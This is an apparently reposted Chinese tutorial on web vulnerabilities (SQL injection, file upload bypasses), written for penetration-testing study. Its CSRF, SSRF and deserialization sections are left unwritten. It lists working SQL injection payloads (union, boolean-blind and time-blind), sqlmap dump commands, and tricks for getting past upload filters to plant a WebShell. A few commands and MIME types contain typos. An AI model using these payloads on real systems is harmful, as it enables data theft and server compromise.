常见web漏洞原理整理

文章目录

  • 一、SQL注入
    • 1.1SQL注入漏洞原理
    • 1.2 SQL注入的两个关键点
    • 1.3 与Mysql注入相关的知识点
    • 1.4 SQL注入的主要分类
    • 1.5 SQL注入的流程
      • 1.5.1 普通SQL注入
      • 1.5.2 盲注
    • 1.6 SQL注入总结
  • 二、文件上传
    • 2.1 文件上传漏洞原理
    • 2.2 客户端检测及绕过(JS检测与绕过)
    • 2.3 服务端检测
      • 2.3.1 后缀名检测与绕过
      • 2.3.2 MIME类型检测与绕过
      • 2.3.3 文件内容检测与绕过
      • 2.3.4 00截断检测与绕过
      • 2.3.5 条件竞争检测与绕过
  • 三、CSRF
  • 四、SSRF
  • 五、反序列化漏洞

一、SQL注入

1.1SQL注入漏洞原理

  Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数带入数据库查询,攻击者可以通关构造不同的SQL语句来实现对数据库的任意操作。
  本质:把用户输入的数据当作代码执行,违背了"数据与代码分离"的原则。

1.2 SQL注入的两个关键点

  • 参数用户可控:前端 传入后端的参数内容是用户可以控制的。
  • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。

1.3 与Mysql注入相关的知识点

  在Mysql 5.0 版本之后,Mysql默认在数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:
在这里插入图片描述

1.4 SQL注入的主要分类

(1)注入点类型

  • 字符型注入
  • 数字型注入

(2)按照执行效果

  • 普通SQL注入:页面上有回显。
  • 盲注:布尔盲注(只会返回两种页面)、时间盲注(页面会延迟一段时间才显示)

1.5 SQL注入的流程

1.5.1 普通SQL注入

  1. 判断是否存在SQL注入漏洞
  2. 判断是字符型注入还是数字型注入
  3. 判断(查询结果)字段数
  4. 查看回显点
  5. 查看数据库名
  6. 查看表名
  7. 查看字段名
  8. 查看字段内容

1.5.2 盲注

  1. 判断是否存在SQL注入漏洞
  2. 判断是字符型注入还是数字型注入
  3. 判断(查询结果)字段数
  4. 猜数据库名长度、猜数据库名
  5. 猜表的个数、逐个猜表名
  6. 逐一猜表中的字段个数、长度、名称
  7. 猜字段内容

1.6 SQL注入总结

  1. 判断是否存在SQL注入
	id=1' #   //参数后加单引号,报错,说明有注入点
  1. 判断字符型注入还是数字型注入
    在这里插入图片描述
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
  1. 普通SQL注入实例
	id=1' #   //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

	id=1 order by <数字> # //判断字段数
	id=1 union select 1,2,3, ... #   //查看回显点
	id=1 union select 1,2,database(), ... #   //查看数据库名
	id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名
	id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名' #  //查看字段名
	id=1 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容
  1. 布尔盲注实例
	id=1' # //报错,说明有注入点
	id=1 and 1=1 # //正确
	id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入
	
	id=1 and length(database())=1 # //判断数据库名长度
	id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名
	id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数
	id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度
	id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数
	id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度
	id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母
	id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度
	id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母
  1. 时间盲注实例
	id=1 and sleep(5) # //数字型则等待5秒
	id=1' and sleep(5) # //字符型则等待5秒
	id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度
	id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名
	id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数
	id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度
	id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数
	id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度
	id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母
	id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度
	id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母
  1. Sqlmap的用法
sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dumo //-C是指定字段  --dumo是列出字段内容

二、文件上传

2.1 文件上传漏洞原理

  上传文件时,如果服务器端未对客户端上传的文件进行严格的验证和过滤。就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、php、jsp等格式的文件)。

2.2 客户端检测及绕过(JS检测与绕过)

  客户端(Client):或称为用户端(前端),与服务器相对应。由于客户端对于文件上传漏洞的防御是通过JS代码实现的,所以客户端检测与绕过也称为JS检测与绕过。

  由于后端PHP代码没有对文件做任何检测,所以只要绕过前端JS的校验就可以上传WebShell。绕过方法:

  • 删除浏览器事件;
  • 禁用JS;
  • 利用BurpSuite抓包修改文件后缀名。

2.3 服务端检测

2.3.1 后缀名检测与绕过

(1)黑名单绕过

  1. 名单列表绕过
      有些中间件允许解析其他文件后缀名,如asa、cer之类的或在httpd.conf配置文件中,配置如下代码,则能解析php、php3、phtml文件,所以上传一个后缀名为php3、phptml的文件即可。
    常见web漏洞原理整理_第1张图片
  2. Windows特性
      一些特殊的文件名命名方式在windows下是不被允许的,利用BurpSuite抓包修改后缀名,绕过验证后上传文件,windows会自动去掉后面添加的,但要注意Unix/Linux系统没有这个特性。比如:
  • 末尾的点(.) 如1.php.
  • 空格( ),如1.php
  • :: D A T A ,如 ‘ 1. p h p : : DATA,如`1.php:: DATA,如‘1.php::DATA`

(2)白名单绕过
白名单绕过需要配合文件包含漏洞或者解析漏洞。

(3).htaccess文件攻击

  .htaccess文件是Apache服务器中的分布式配置文件(IIS中不存在该文件),该配置文件会覆盖Apache服务器的全局配置,作用于当前目录及其子目录。

  • 如果一个web应用允许上传.htaccess文件,那就意味着攻击者可以更改Apche的配置。

  在httpd.conf配置文件中,AllowOverride参数就是指明Apache服务器是否去找**.htacess**文件作为配置文件,如果设置为none,那么服务器将忽略.htacess文件;如果设置为All,那么所有在.htaccess文件里有的指令都将被重写,即允许.htaccess文件覆盖掉Apache 的配置。

(4)APahce解析机制
  Apche解析机制:从右往左开始解析文件后缀,若后缀名不可识别,则继续判断直到遇到可解析的后缀为止。

2.3.2 MIME类型检测与绕过

  MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME 类型如下:

文件拓展名 Mime-Type
.js application/x-javascript
.html test/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

2.3.3 文件内容检测与绕过

检测原理
  利用getimagesize()函数获取图片的宽高等信息,如果上传的不是图片,那么则获取不到信息。服务端主要检测文件幻数:

类型 文件幻数
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61 (GIF89a)
PNG 89 50 4E 47

绕过方式
  在脚本文件开头补充图片对应的头部值,或在图片后写入脚本代码
常见web漏洞原理整理_第2张图片

2.3.4 00截断检测与绕过

检测原理
  截断漏洞出现的核心就是chr(0),这个字符不为空 (Null),也不是空字符 (" "),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。由于00代表结束符,PHP会把00后面的所有字符删除。

截断条件
  PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态。

2.3.5 条件竞争检测与绕过

检测原理
  一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。

绕过方式
  利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。

…未完待续

三、CSRF

四、SSRF

五、反序列化漏洞

你可能感兴趣的:(渗透测试实践,安全)